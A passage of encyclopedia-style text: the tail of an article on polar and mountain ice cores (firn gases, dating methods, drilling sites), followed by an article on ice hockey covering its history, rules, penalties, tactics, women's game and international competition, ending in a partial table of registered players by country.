          At the South Pole, the firn-ice transition depth is at 122 m, with a CO2 age of about 100 years. Gases involved in ozone depletion, CFCs, chlorocarbons, and bromocarbons, were measured in firn and levels were almost zero at around 1880 except for CH3Br, which is known to have natural sources. Similar study of Greenland firn found that CFCs vanished at a depth of 69 m (CO2 age of 1929).
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          Analysis of the Upper Fremont Glacier ice core showed large levels of chlorine-36 that definitely correspond to the production of that isotope during atmospheric testing of nuclear weapons. This result is interesting because the signal exists despite being on a glacier and undergoing the effects of thawing, refreezing, and associated meltwater percolation. 36Cl has also been detected in the Dye-3 ice core (Greenland), and in firn at Vostok.


          Studies of gases in firn often involve estimates of changes in gases due to physical processes such as diffusion. However, it has been noted that there also are populations of bacteria in surface snow and firn at the South Pole, although this study has been challenged. It had previously been pointed out that anomalies in some trace gases may be explained as due to accumulation of in-situ metabolic trace gas byproducts.


          


          Dating cores
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          Shallow cores, or the upper parts of cores in high-accumulation areas, can be dated exactly by counting individual layers, each representing a year. These layers may be visible, related to the nature of the ice; or they may be chemical, related to differential transport in different seasons; or they may be isotopic, reflecting the annual temperature signal (for example, snow from colder periods has less of the heavier isotopes of H and O). Deeper into the core the layers thin out due to ice flow and eventually individual years cannot be distinguished. It may be possible to identify events such as nuclear bomb atmospheric testing's radioisotope layers in the upper levels, and ash layers corresponding to known volcanic eruptions. Volcanic eruptions may be detected by visible ash layers, acidic chemistry, or electrical resistance change. Some composition changes are detected by high-resolution scans of electrical resistance. Lower down the ages are reconstructed by modeling accumulation rate variations and ice flow.


          Dating is a difficult task. Five different dating methods have been used for Vostok cores, with differences such as 300 years at 100 m depth, 600yr at 200 m, 7000yr at 400 m, 5000yr at 800 m, 6000yr at 1600 m, and 5000yr at 1934 m.


          Different dating methods makes comparison and interpretation difficult. Matching peaks by visual examination of Moulton and Vostok ice cores suggests a time difference of about 10,000 years but proper interpretation requires knowing the reasons for the differences.


          


          Ice core sites


          Ice cores have been taken from many locations around the world. Major efforts have taken place on Greenland and Antarctica.


          Sites on Greenland are more susceptible to snow melt than those in Antarctica. In the Antarctic, areas around the Antarctic Peninsula and seas to the west have been found to be affected by ENSO effects. Both of these characteristics have been used to study such variations over long spans of time.


          


          Greenland


          


          Dye 3


          


          GRIP/GISP


          The GRIP and GISP cores, each about 3000 m long, were drilled by European and US teams respectively on the summit of Greenland. Their usable record stretches back more than 100,000 years into the last interglacial. They agree (in the climatic history recovered) to a few metres above bedrock. However, the lowest portion of these cores cannot be interpreted, probably due to disturbed flow close to the bedrock. There is evidence the GISP2 cores contain an increasing structural disturbance which casts suspicion on features lasting centuries or more in the bottom 10% of the ice sheet. The more recent NorthGRIP ice core provides a undisturbed record to approx. 123,000 years before present. The results indicate that Holocene climate has been remarkably stable and have confirmed the occurrence of rapid climatic variation during the last ice age.


          


          NGRIP


          The NGRIP drilling site is near the centre of Greenland (, 2917 m, ice thickness 3085). Drilling began in 1999 and was completed at bedrock in 2003. The NGRIP site was chosen to extract a long and undisturbed record stretching into the last glacial. NGRIP covers 5 kyr of the Eemian, and shows that temperatures then were roughly as stable as the pre-industrial Holocene temperatures were.


          


          Antarctica


          


          Vostok
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          Up to 2003, the longest core drilled was at Vostok station. It reached back 420,000 years and revealed 4 past glacial cycles. Drilling stopped just above Lake Vostok. The Vostok core was not drilled at a summit, hence ice from deeper down has flowed from upslope; this slightly complicates dating and interpretation. Vostok core data is available.


          


          EPICA/Dome C
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          The EPICA core in Antarctica was drilled at (560 km from Vostok) at an altitude of 3,233 m, near Dome C. The ice thickness is 3,309 +/-22 m and the core was drilled to 3,190 m. Present-day annual average air temperature is -54.5 C and snow accumulation 25 mm/y. Information about the core was first published in Nature on June 10, 2004. The core went back 720,000 years and revealed 8 previous glacial cycles.


          


          Dome F


          Two deep ice cores were drilled near the Dome F summit (, altitude 3,810 m). The first drilling started in August 1995, reached a depth of 2503 m in December 1996 and covers a period back to 320,000 years. The second drilling started in 2003, was carried out during four subsequent austral summers from 2003/2004 until 2006/2007, and by then a depth of 3,035.22 m was reached. This core greatly extends the climatic record of the first core, and, according to a first, preliminary dating, it reaches back until 720,000 years.


          


          WAIS Divide


          The West Antarctice Ice Sheet Divide ( WAIS Divide) Ice Core Drilling Project began drilling over the 2005 and 2006 seasons, drilling ice cores up to the depth of 300 m for the purposes of gas collection, other chemical applications, and to test the site for use with the Deep Ice Sheet Coring (DISC) Drill. Sampling with the DISC Drill will begin over the 2007 season and researchers and scientists expect that these new ice cores will provide data to establish a greenhouse gas record back over 40,000 years.


          


          Non-polar cores


          The non-polar ice caps, such as found on mountain tops, were traditionally ignored as serious places to drill ice cores because it was generally believed the ice would not be more than a few thousand years old, however since the 1970s ice has been found that is older, with clear chronological dating and climate signals going as far back as the beginning of the most recent ice age. Although polar cores have the clearest and longest chronological record, four-times or more as long, ice cores from tropical regions offer data and insights not available from polar cores and have been very influential in advancing understanding of the planets climate history and mechanisms.


          Mountain ice cores have been retrieved in the Andes in South America, Mount Kilimanjaro in Africa, Tibet, various locations in the Himalayas, Alaska, Russia and elsewhere. Mountain ice cores are logistically very difficult to obtain. The drilling equipment must be carried by hand, organized as a mountaineering expedition with multiple stage camps, to altitudes upwards of 20,000 feet (helicopters are not safe), and the multi-ton ice cores must then be transported back down the mountain, all requiring mountaineering skills and equipment and logistics and working at low oxygen in extreme environments in remote third world countries. Scientists may stay at high altitude on the ice caps for up 20 to 50 days setting altitude endurance records that even professional climbers do not obtain. American scientist Lonnie Thompson has been pioneering this area since the 1970s, developing light-weight drilling equipment that can be carried by porters, solar-powered electricity, and a team of mountaineering-scientists. The ice core drilled in Guliya ice cap in western China in the 1990s reaches back to 760,000 years before the present  farther back than any other core at the time, though the EPICA core in Antarctica equalled that extreme in 2003.


          Because glaciers are retreating rapidly world-wide, some important glaciers are now no longer scientifically viable for taking cores, and many more glacier sites will continue to be lost, the "Snows of Mount Kilimanjaro" (Hemingway) for example could be gone by 2015.
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              Ice hockey
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              Two defencemen and a goaltender guard their goal. The referee's raised arm indicates that he intends to call a penalty.
            


            
              	Highest governing body

              	International Ice Hockey Federation
            


            
              	Nickname(s)

              	Hockey
            


            
              	First played

              	March 3, 1875, Victoria Skating Rink, Montreal, (first organized indoor game)
            


            
              	Characteristics
            


            
              	Contact

              	Contact
            


            
              	Team members

              	6 at a time
            


            
              	Olympic

              	1920
            

          


          Ice hockey, often referred to simply as hockey in Canada, the Czech Republic, Slovakia, Russia, Sweden and the United States, is a team sport played on ice. It is a fast paced and physical sport. Ice hockey is most popular in areas that are sufficiently cold for natural, reliable seasonal ice cover, though with the advent of indoor artificial ice rinks it has become a year-round pastime at the amateur level in major metropolitan areas such as cities that host a National Hockey League (NHL) or other professional-league team. It is one of the four major North American professional sports, and is represented by the National Hockey League (NHL) at the highest level, and the National Women's Hockey League (NWHL), the highest level of women's ice hockey in the world. It is the official national winter sport of Canada, where the game enjoys immense popularity. Only six of the thirty NHL franchises are based in Canada, but Canadian players outnumber Americans in the league.


          While there are 64 total members of the International Ice Hockey Federation (IIHF), Canada, the Czech Republic, Finland, Russia, Slovakia, Sweden and the United States have finished in most of the coveted 1st, 2nd and 3rd places at IIHF World Championships. Of the 63 medals awarded in men's competition at the Olympic level from 1920 on, only six did not go to the one of those countries, or a former entity thereof, such as Czechoslovakia or the Soviet Union. Only one of those six medals was above bronze. Those seven nations have also captured 162 of 177 medals awarded at 59 non-Olympic IIHF World Championships, and all medals since 1954. Likewise, all nine Olympic and 27 IIHF World Women Championships medals have gone to one of those seven countries. Also deserving of mention is Switzerland, which has won two men's bronze medals at the Olympics and finished third at least seven times at the World Championships. Switzerland also maintains one of the oldest and top-rated ice hockey leagues ( the Swiss National League A) outside of the NHL.


          


          History
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          Games between teams hitting an object with curved sticks have been played throughout history; 4000 year-old drawings at the huge tombs in Egypt depict a sport resembling field hockey. The 1366 Statutes of Kilkenny in Ireland mentions "the plays which men call horlings, with great sticks and a ball upon the ground, from which great evils and maims have arisen", which was forbidden so that men would be fit and able to defend the land. The 1527 Galway Statutes, also in Ireland, made reference to "the horlinge of the litill balle with hockie stickes or staves." The etymology of the word hockey is uncertain. It may derive from the Old French word hoquet, shepherd's crook, or from the Middle Dutch word hokkie, meaning shack or doghouse, which in popular use meant goal. Many of these games were developed for fields, though where conditions allowed they were also played on ice. Seventeenth century Dutch paintings show townsfolk playing a hockey-like game on a frozen canal.


          European immigrants brought various versions of hockey-like games to North America, such as the Irish sport of hurling, the closely-related Scottish sport of shinty, and versions of field hockey played in England. Where necessary these seem to have been adapted for icy conditions; for example, a colonial Williamsburg newspaper records hockey being played in a snow storm in Virginia. Early paintings show "shinney", an early form of hockey with no standard rules, being played in Nova Scotia. Author Thomas Chandler Haliburton wrote in a book of fiction, about boys from King's College School in Windsor, Nova Scotia, playing "hurley on the ice" when he was a student there around 1800 (Haliburton was born in 1796). To this day, " Shinny" (derived from Shinty) is a popular Canadian term for an informal type of hockey, either on ice or as street hockey. These early games may have also absorbed the physically aggressive aspects of what the Mi'kmaq Aboriginal First Nation in Nova Scotia called dehuntshigwa'es ( lacrosse).
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          In 1825 Sir John Franklin wrote that "The game of hockey played on the ice was the morning sport" while on Great Bear Lake during one of his Arctic expeditions. In 1843 a British Army officer in Kingston, Ontario, wrote "Began to skate this year, improved quickly and had great fun at hockey on the ice." A Boston Evening Gazette article from 1859 makes reference to an early game of hockey on ice occurring in Halifax in that year.


          The first recorded hockey games were played by British soldiers stationed in Kingston and Halifax during the mid 1850s. In the early 1870s, the first known set of ice hockey rules were drawn up by students at Montreal's McGill University. These rules established the number of players per side to 9 and replaced the ball with a square puck.


          Based on Haliburton's writings, there have been claims that modern ice hockey originated in Windsor, Nova Scotia, and was named after an individual, as in 'Colonel Hockey's game'. Proponents of this theory claim that the surname Hockey exists in the district surrounding Windsor. In 1943, the Canadian Amateur Hockey Association declared Kingston the birthplace of hockey, based on a recorded 1886 game played between students of Queen's University and the Royal Military College of Canada.


          The Society for International Hockey Research has had an "origins of hockey" committee studying this debate since 2001 and they defined hockey as: "a game played on an ice rink in which two opposing teams of skaters, using curved sticks, try to drive a small disc, ball or block into or through the opposite goals."


          The committee found evidence of stick and ball games played on ice on skates in Europe in the sixteenth through eighteenth centuries, and viewed these activities as being more indicative of a hockey-like game than Haliburtons reference.


          They found no evidence in the Windsor position of a connection from whatever form of hockey might have been played at Long Pond to the game played elsewhere and to modern hockey. The committee viewed as conjecture the assertion that Kings schoolboys introduced the game to Halifax. They noted that the assertion that hockey was not played outside Nova Scotia until 1865 overlooks diary evidence of shinny and hockey being played at Kingston in the 1840s.


          The committee concluded that Dr. Vaughan and the Windsor Hockey Heritage Society had not offered credible evidence that Windsor, Nova Scotia, is the birthplace of hockey.


          The committee offered no opinion on the birth date or birthplace of hockey, but took note of a game at Montreals Victoria Skating Rink on March 3, 1875. This is the earliest eyewitness account known to the committee of a specific game of hockey in a specific place at a specific time, and with a recorded score, between two identified teams.


          According to the Society for International Hockey Research, the word puck is derived from the Scottish and Gaelic word "puc" or the Irish word "poc", meaning to poke, punch or deliver a blow. This definition is explained in a book published in 1910 entitled "English as we Speak it in Ireland" by P.W. Joyce. It defines the word puck as " The blow given by a hurler to the ball with his caman or hurley is always called a puck".


          


          Foundation of modern hockey
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          The foundation of the modern game centres on Montreal. On March 3, 1875 the first organized indoor game was played at Montreal's Victoria Skating Rink by James George Aylwin Creighton and several McGill University students. In 1877, several McGill students, including Creighton, Henry Joseph, Richard F. Smith, W.F. Robertson, and W.L. Murray codified seven ice hockey rules. The first ice hockey club, McGill University Hockey Club, was founded in 1877 followed by the Montreal Victorias, organized in 1881. The game became so popular that the first "world championship" of ice hockey was featured in Montreal's annual Winter Carnival in 1883 and the McGill team captured the "Carnival Cup". In 1886, the teams which competed at the Winter Carnival would organize the Amateur Hockey Association of Canada(AHAC) league.


          In Europe, it is believed that in 1885 the Oxford University Ice Hockey Club was formed to play the first Ice Hockey Varsity Match against traditional rival Cambridge in St. Moritz, Switzerland, although this is undocumented. This match was won by the Oxford Dark Blues, 6-0. The first photographs and team lists date from 1895. This continues to be the oldest hockey rivalry in history.
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          In 1888, the new Governor General of Canada, Lord Stanley of Preston, whose sons and daughter became hockey enthusiasts, attended the Montreal Winter Carnival tournament and was impressed with the hockey spectacle. In 1892, recognizing that there was no recognition for the best team in all of Canada, (various leagues had championship trophies) he purchased a decorative bowl for use as a trophy. The Dominion Hockey Challenge Cup, which later became more famously known as the Stanley Cup, was first awarded in 1893 to the Montreal HC, champions of the AHAC. It continues to be awarded today to the National Hockey League's championship team.


          By 1893, there were almost a hundred teams in Montreal alone, and leagues throughout Canada. Winnipeg hockey players had incorporated cricket pads to better protect the goaltender's legs. They also introduced the "scoop" shot, later known as the wrist shot.
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          1893 also saw the first ice hockey matches in the U.S., at Yale University and Johns Hopkins University. The U.S. Amateur Hockey League was founded in New York City in 1896, and the first professional team, the Portage Lakers was formed in 1903 in Houghton, Michigan (although there had been individual professionals in Canada before this).


          The five sons of Lord Stanley were instrumental in bringing ice hockey to Europe, beating a court team (which included both the future Edward VII and George V) at Buckingham Palace in 1895. By 1903 a five-team league had been founded. The Ligue Internationale de Hockey sur Glace was founded in 1908 to govern international competitions, and the first European championships were won by Great Britain in 1910. In the mid-20th century, the Ligue became the International Ice Hockey Federation.


          


          The professional era
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          Professional ice hockey has existed since before World War I. From the first professional ice hockey league based out of Houghton, Michigan in the United States, it quickly grew into Canada and in many other countries, including Switzerland, Ukraine, Great Britain and Austria.


          


          Equipment


          Since ice hockey is a full contact sport and bodychecks are allowed, injuries may be a common occurrence. Protective equipment is highly recommended and is enforced in all competitive situations. This usually includes a helmet, shoulder pads, elbow pads, mouth guard, protective gloves, heavily padded shorts, athletic cup/jock, shin pads, chest protector, and a neck guard.


          


          Game


          While the general characteristics of the game are the same wherever it is played, the exact rules depend on the particular code of play being used. The two most important codes are those of the International Ice Hockey Federation (IIHF) and of the North American National Hockey League (NHL).
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          Ice hockey is played on a hockey rink. During normal play, there are six players per side on the ice at any time, each of whom is on ice skates. There are five players and one goaltender per side. The objective of the game is to score goals by shooting a hard vulcanized rubber disc, the puck, into the opponent's goal net, which is placed at the opposite end of the rink. The players may control the puck using a long stick with a blade that is commonly curved at one end.


          Players may also redirect the puck with any part of their bodies, subject to certain restrictions. Players can angle their feet so the puck can redirect into the net, but there can be no kicking motion. Players may not intentionally bat the puck into the net with their hands.


          Hockey is an "offside" game, meaning that forward passes are allowed, unlike in rugby. Before the 1930s hockey was an onside game, meaning that only backward passes were allowed. The period of the onside game was the golden age of stick-handling, which was of prime importance in moving the game forward. With the arrival of offside rules, the forward pass transformed hockey into a truly team sport, where individual heroics diminished in importance relative to team play, which could now be coordinated over the entire surface of the ice as opposed to merely rearward players.


          The five players other than the goaltender are typically divided into three forwards and two defencemen. The forward positions consist of a centre and two wingers: a left wing and a right wing. Forwards often play together as units or lines, with the same three forwards always playing together. The defencemen usually stay together as a pair, but may change less frequently than the forwards. A substitution of an entire unit at once is called a line change. Teams typically employ alternate sets of forward lines and defensive pairings when shorthanded or on a power play. Substitutions are permitted at any time during the course of the game, although during a stoppage of play the home team is permitted the final change. When players are substituted during play, it is called changing on the fly. A new NHL rule added in the 2005-2006 season prevents a team from changing their line after they ice the puck.


          The boards surrounding the ice help keep the puck in play and they can also be used as tools to play the puck. The referees, linesmen and the outsides of the goal are "in play" and do not cause a stoppage of the game when the puck or players are influenced (by either bouncing or colliding) into them. Play can be stopped if the goal is knocked out of position. Play often proceeds for minutes without interruption. When play is stopped, it is restarted with a faceoff. Two players "face" each other and an official drops the puck to the ice, where the two players attempt to gain control of the puck.


          There are three major rules of play in ice hockey that limit the movement of the puck: offsides, icing, and the puck going out of play. The puck goes "out of play" whenever it goes past the perimeter of the ice rink (onto the player benches, over the "glass", or onto the protective netting above the glass) and a stoppage of play should be called by the officials. It also does not matter if the puck comes back onto to the ice surface from those areas as the puck is considered dead once it leaves the perimeter of the rink.


          Under IIHF rules, each team may carry a maximum of 20 players and two goaltenders on their roster. NHL rules restrict the total number of players per game to 18 plus two goaltenders.


          


          Penalties
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          For most penalties, the offending player is sent to the penalty box and his team has to play without him and with one less skater for a short amount of time. Most penalties last for two minutes unless a major penalty has been assessed. The team that has taken the penalty is said to be playing shorthanded while the other team is on the power play.


          A two-minute minor penalty is often called for lesser infractions such as tripping, elbowing, roughing, high-sticking, too many players on the ice, illegal equipment, charging (leaping into an opponent or body-checking him after taking more than two strides), holding, interference, delay of game, hooking, or cross-checking. In the 2005-06 NHL season, a minor is also assessed for diving, where a player embellishes a hook or trip. More egregious fouls of this type may be penalized by a four-minute double-minor penalty, particularly those which (inadvertently) cause injury to the victimized player. These penalties end either when the time runs out or the other team scores on the power play. In the case of a goal scored during the first two minutes of a double-minor, the penalty clock is set down to two minutes upon a score (effectively expiring the first minor). Five-minute major penalties are called for especially violent instances of most minor infractions that result in intentional injury to an opponent, as well as for fighting. Major penalties are always served in full; they do not terminate on a goal scored by the other team. The foul of 'boarding', defined as "check[ing] an opponent in such a manner that causes the opponent to be thrown violently in the boards" by the NHL Rulebook is penalized either by a minor or major penalty at the discretion of the referee, based on the violence of the hit. A minor or major penalty for "Boarding" is also often assessed when a player checks an opponent from behind and into the boards.


          Some varieties of penalties do not always require the offending team to play a man short. Five-minute major penalties in the NHL usually result from fighting. In the case of two players being assessed five-minute fighting majors, they both serve five minutes without their team incurring a loss of player (both teams still have a full complement of players on the ice). This differs with two players from opposing sides getting minor penalties, at the same time or at any intersecting moment, resulting from more common infractions. In that case, both teams will have only four skating players (not counting the goaltender) until one or both penalties expire (if one expires before the other, the opposing team gets a power play for the remainder); this applies regardless of current pending penalties, though in the NHL, a team always has at least three skaters on the ice. Ten-minute misconduct penalties are served in full by the penalized player, but his team may immediately substitute another player on the ice unless a minor or major penalty is assessed in conjunction with the misconduct (a two-and-ten or five-and-ten). In that case, the team designates another player to serve the minor or major; both players go to the penalty box, but only the designee may not be replaced, and he is released upon the expiration of the two or five minutes, at which point the ten-minute misconduct begins. In addition, game misconducts are assessed for deliberate intent to inflict severe injury on an opponent (at the officials' discretion), or for a major penalty for a stick infraction or repeated major penalties. The offending player is ejected from the game and must immediately leave the playing surface (he does not sit in the penalty box); meanwhile, if a minor or major is assessed in addition, a designated player must serve out that segment of the penalty in the box (similar to the above-mentioned "two-and-ten").


          A player who is tripped, or illegally obstructed in some way, by an opponent on a breakaway when there are no defenders except the goaltender between him and the opponent's goal is awarded a penalty shot, an attempt to score without opposition from any defenders except the goaltender. A penalty shot is also awarded for a defender other than the goaltender covering the puck in the goal crease, a goaltender intentionally displacing his own goal posts during a breakaway in order to avoid a goal, a defender intentionally displacing his own goal posts when there is less than two minutes to play in regulation time or at any point during overtime, or a player or coach intentionally throwing a stick or other object at the puck or the puck carrier and the throwing action disrupts a shot or pass play.
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          Officials also stop play for puck movement violations, such as using one's hands to pass the puck in the offensive end, but no players are penalized for these offences. The sole exceptions are deliberately falling on or gathering the puck to the body, carrying the puck in the hand, and shooting the puck out of play in one's defensive zone (all penalized two minutes for delay of game).


          A new penalty in the NHL applies to the goalies. The goalies now are unable to play the puck in the "corners" of the rink near their own net. This will result in a two-minute penalty against the goalie's team. The area immediately behind the net is the only area behind the net in which the goalie can play the puck.


          An additional rule that is not a penalty in the new NHL is the two line offside passes. There are no more two-line offside pass whistles blown. Now players are able to pass to teammates who are more than the blue and centre ice red line away.


          The NHL has taken steps to speed the game of hockey up and create a game of finesse, by retreating from the past where illegal hits, fights, and "clutching and grabbing" among players was commonplace. Rules are now much more strictly enforced resulting in more infractions being penalized which in turn provides more protection to the players and allows for more goals to be scored.


          There are many infractions for which a player may be assessed a penalty. The governing body for United States amateur hockey has implemented many new rules to reduce the number stick-on-body occurrences, as well as other detrimental and illegal facets of the game ("Zero Tolerance").


          In men's hockey, but not in women's, a player may use his hip or shoulder to hit another player if the player has the puck or is the last to have touched it. This use of the hip and shoulder is called body checking. Not all physical contact is legal in particular, hits from behind and most types of forceful stick-on-body contact are illegal.


          Officials


          A typical game of ice hockey has two to four officials on the ice, charged with enforcing the rules of the game. There are typically two linesmen who are responsible only for calling offside and icing violations, and one or two referees, who call goals and all other penalties. Linesmen can, however, report to the referee(s) that a penalty more severe than a two-minute minor penalty should be assessed against an offending player, or when a too many men on the ice infraction occurs. On-ice officials are assisted by off-ice officials who act as goal judges, time keepers, and official scorers.


          The most wide-spread system in use today is the 3-man system, that features one referee and two linesmen. With the first being the National Hockey League, a number of leagues have started to implement the 4-official system, where an additional referee is added to aid in the calling of penalties normally difficult to assess by one single referee. The system has proven quite successful in the NHL and the IIHF have adopted it for the World Championships, slightly discussed during the 2008 World Championships in Quebec City and Halifax, Canada. Many other leagues are adopting the system for the next season, which only downside at the moment is the increased cost for the leagues.


          Officials are selected by the league for which they work. Amateur hockey leagues use guidelines established by national organizing bodies as a basis for choosing their officiating staffs. In North America, the national organizing bodies Hockey Canada and USA Hockey approve officials according to their experience level as well as their ability to pass rules knowledge and skating ability tests. Hockey Canada has officiating levels I through VI. USA Hockey has officiating levels 1 through 4.


          


          Tactics
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          An important defensive tactic is checking attempting to take the puck from an opponent or to remove the opponent from play. Forechecking is checking in the other team's zone; backchecking is checking while the other team is advancing down the ice toward one's own goal. These terms usually are applied to checking by forwards. Stick checking, sweep checking, and poke checking are legal uses of the stick to obtain possession of the puck. Body checking is using one's shoulder or hip to strike an opponent who has the puck or who is the last to have touched it (within a short period of time after possession; usually less than three seconds). Often the term checking is used to refer to body checking, with its true definition generally only propagated among fans of the game.


          Offensive tactics include improving a team's position on the ice by advancing the puck out of one's zone towards the opponent's zone, progressively by gaining lines, first your own blue line, then the red line and finally the opponent's blue line. NHL rules instated for the 2006 season redefined icing to make the two-line pass legal; a player may pass the puck from behind his own blue line, past both that blue line and the centre red line, to a player in front of the opponents' blue line. In fact, an errant pass that would normally result in an icing call is negated if the player for whom the pass was intended gains possession of the puck before it crosses the opponents' goal line; thus a "three-line pass" can be attempted with a fast forward as long as an offsides is not committed. Offensive tactics are designed ultimately to score a goal by taking a shot. When a player purposely directs the puck towards the opponent's goal, he or she is said to shoot the puck.
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          A deflection is a shot which redirects a shot or a pass towards the goal from another player, by allowing the puck to strike the stick and carom towards the goal. A one-timer is a shot which is struck directly off a pass, without receiving the pass and shooting in two separate actions. A deke (short for decoy) is a feint with the body and/or stick to fool a defender or the goalie. Headmanning the puck, also known as cherry-picking or breaking out, is the tactic of rapidly passing to the player farthest down the ice.


          A team that is losing by one or two goals in the last few minutes of play will often elect to pull the goalie; that is, removing the goaltender and replacing him or her with an extra attacker on the ice in the hope of gaining enough advantage to score a goal. However, it is an act of desperation, as it sometimes leads to the opposing team extending their lead by scoring a goal in the empty net.


          A delayed penalty call occurs when a penalty offense is committed by the team that does not have possession of the puck. In this circumstance the team with possession of the puck is allowed to complete the play; that is, play continues until a goal is scored, the puck is shot, stopped and controlled by the opposing goalie, a player on the opposing team gains control of the puck, or the team in possession commits an infraction or penalty of their own. Because the team on which the penalty was called cannot control the puck without stopping play, it is impossible for them to score a goal, however, it is possible for controlling team to mishandle the puck into their own net. In these cases the team in possession of the puck can pull the goalie for an extra attacker without fear of being scored on. If a delayed penalty is signaled and the team in possession scores, the penalty is still assessed to the offending player, but not served.


          Although it is officially prohibited in the rules, at the professional level in North America fights are sometimes used to affect morale of the teams, with aggressors hoping to demoralize the opposing players while exciting their own, as well as settling personal scores. Both players in an altercation receive five-minute major penalties for fighting. The player deemed to be the "instigator" of an NHL fight, if one is determined to exist, is penalized an additional two minutes for instigating, plus a ten-minute misconduct penalty. If there is no instigator, both players stay in the penalty box for five minutes, and neither team loses skaters. They point to less extreme on-ice violence during the era before the rule was introduced. Toronto Maple Leafs owner Conn Smythe famously observed that "If you can't beat 'em in the alley you can't beat 'em on the ice."
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          The Neutral zone trap:

          The trap is designed to isolate the puck carrier in the neutral zone preventing him from entering the offensive zone. In youth hockey development of the neutral zone trap often begins with the left wing lock. In this tactic the left wing plays in the normal position of the left defence men while in the offensive zone. The left defenceman then moves to the centre. The centre and right wing chase the puck. When the opposing team gains control of the puck, the defencemen and the left wing pull out and set a two man trap along the boards. The left or right wing available, backs up the trap while the centre and right wing pursuit and try to get in front of the play further blocking the offensive attack.


          


          Periods and overtime


          A game consists of three periods of twenty minutes each, the clock running only when the puck is in play. The teams change ends for the second period, again for the third period, and again at the start of each overtime played. Recreational leagues and children's leagues often play shorter games, generally with three shorter periods of play.


          Various procedures are used if a game is tied. In tournament play, as well as in the NHL playoffs, North Americans favour sudden death overtime, in which the teams continue to play twenty minute periods until a goal is scored. Up until the 1999-2000 season regular season NHL games were settled with a single five minute sudden death period with five players (plus a goalie) per side, with the winner awarded two points in the standings and the loser no points. In the event of a tie (if the overtime was scoreless), each team was awarded one point. From 1999-2000 until 2003-04 the National Hockey League decided ties by playing a single five minute sudden death overtime period with each team having four players (plus a goalie) per side to "open-up" the game. In the event of a tie, each team would still receive one point in the standings but in the event of a victory the winning team would be awarded two points in the standings and the losing team one point. The only exception to this rule is if a team opts to pull their goalie in exchange for an extra skater during overtime and is subsequently scored upon (an 'Empty Net' goal), in which case the losing team receives no points for the overtime loss. International play and several North American professional leagues, including the NHL (in the regular season), now use an overtime period followed by a penalty shootout. If the score remains tied after an extra overtime period, the subsequent shootout consists of three players from each team taking penalty shots. After these six total shots, the team with the most goals is awarded the victory. If the score is still tied, the shootout then proceeds to a sudden death format. Regardless of the number of goals scored during the shootout by either team, the final score recorded will award the winning team one more goal than the score at the end of regulation time. In the NHL if a game is decided by a shootout the winning team is awarded two points in the standings and the losing team is awarded one point. Ties no longer occur in the NHL.


          


          Women's ice hockey
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          History of women's ice hockey


          Lord Stanley of Preston's daughter, Lady Isobel Stanley, was a pioneer in the women's game and is one of the first females to be photographed using puck and stick (around 1890) on the natural ice rink at Rideau Hall in Ottawa. By the early 1900s, women's teams were common throughout most of the Canadian provinces, the long skirts they were still required to wear giving them a goal-tending advantage. On March 8, 1899, the first account appeared in the Ottawa Evening Journal newspaper of a game played between two women's teams of four per side at the Rideau Skating Rink in Ottawa. On February 11, 1891, one of the earliest newspaper accounts of a seven-a-side game between women appeared in the Ottawa Citizen. McGill University's women's hockey team debuted in 1894.


          


          Women's ice hockey today


          Ice hockey is one of the fastest growing women's sports in the world, with the number of participants increasing 400 percent in the last 10 years. While there are not as many organized leagues for women as there are for men, there exist leagues of all levels, including the National Women's Hockey League, Western Women's Hockey League, and various European leagues; as well as university teams, national and Olympic teams, and recreational teams. There have been nine IIHF World Women Championships.
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          Women's ice hockey was added as a medal sport at the 1998 Winter Olympics in Nagano, Japan. The United States won gold, Canada won silver and Finland won bronze.


          The chief difference between women's and men's ice hockey is that bodychecking is not allowed in women's ice hockey. After the 1990 Women's World Championship, bodychecking was eliminated because female players in many countries do not have the size and mass seen in North American players. In current IIHF women's competition, bodychecking is either a minor or major penalty, decided at the referee's discretion.


          In addition, players in women's competition are required to wear protective full- face masks.


          One woman, Manon Rhaume, appeared as a goaltender for the NHL's Tampa Bay Lightning in preseason games against the St. Louis Blues and the Boston Bruins, and in 2003 Hayley Wickenheiser played with the Kirkkonummi Salamat in the Finnish men's Suomi-sarja league. Several women have competed in North American minor leagues, including goaltenders Charline Labont, Kelly Dyer, Erin Whitten, Manon Rhaume, and defenceman Angela Ruggiero.


          


          International competition
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          The annual men's Ice Hockey World Championships are highly regarded by Europeans, but they are less important to North Americans because they coincide with the Stanley Cup playoffs. Consequently, Canada, the United States, and other countries with large numbers of NHL players have not always been able to field their best possible teams because many of their top players are playing for the Stanley Cup. Furthermore, for many years professionals were barred from play. Now that many Europeans play in the NHL, the world championships no longer represent all of the world's top players.


          Hockey has been played at the Winter Olympics since 1924 (and at the summer games in 1920). Canada won six of the first seven gold medals, except in 1936 when Great Britain won. The United States won their first gold medal in 1960. The USSR won all but two Olympic ice hockey gold medals from 1956 to 1988 and won a final time as the Unified Team at the 1992 Albertville Olympics. U.S. amateur college players defeated the heavily favored Soviet squad on the way to winning the gold medal at the 1980 Lake Placid Olympics - an event known as the " Miracle on ice" in the United States.


          The 1972 Summit Series and 1974 Summit Series, established Canada and the USSR as a major international ice hockey rivalry. It was followed by five Canada Cup tournaments, where the best players from every hockey nation could play, and two exhibition series, the 1979 Challenge Cup and Rendez-vous '87 where the best players from the NHL played the USSR. The Canada Cup tournament later became the World Cup of Hockey, played in 1996 and 2004. The United States won in 1996 and Canada won in 2004. Since 1998, NHL professionals have played in the Olympics, giving the best players in the world more opportunities to face off.


          There have been nine women's world championships, beginning in 1990. Women's hockey has been played at the Olympics since 1998. The 2006 Winter Olympic final between Canada and Sweden marked the first women's world championship or Olympic final that did not involve both Canada and the United States


          


          Number of registered players by country


          Number of registered hockey players, provided by the respective countries' federations. Note that data is not available for every country.


          
            
              	Country

              	Players

              	% of Population
            


            
              	United States

              	435,737

              	0.15%
            


            
              	Canada

              	428,390

              	1.11%
            


            
              	Czech Republic

              	74,589

              	0.63%
            


            
              	Russia

              	77,202

              	0.05%
            


            
              	Sweden

              	67,747

              	0.71%
            


            
              	Finland

              	42,886

              	0.82%
            


            
              	Germany

              	22,344

              	0.04%
            


            
              	Switzerland

              	19,106

              	0.29%
            


            
              	Japan

              	20,540

              	0.02%
            


            
              	France

              	11,621

              	0.02%
            


            
              	Slovakia

              	9,402

              	0.1%
            


            
              	Austria

              	9,007

              	0.1%
            


            
              	England

              	8,000

              	0.01%
            


            
              	Italy

              	6,258

              	0.01%
            


            
              	Norway

              	4,356

              	0.11%
            


            
              	Latvia

              	4,836

              	0.21%
            


            
              	Denmark

              	4,255

              	0.08%
            


            
              	Australia

              	3,258

              	0.02%
            


            
              	Kazakhstan

              	2,931

              	0.02%
            


            
              	Belarus

              	2,930

              	0.03%
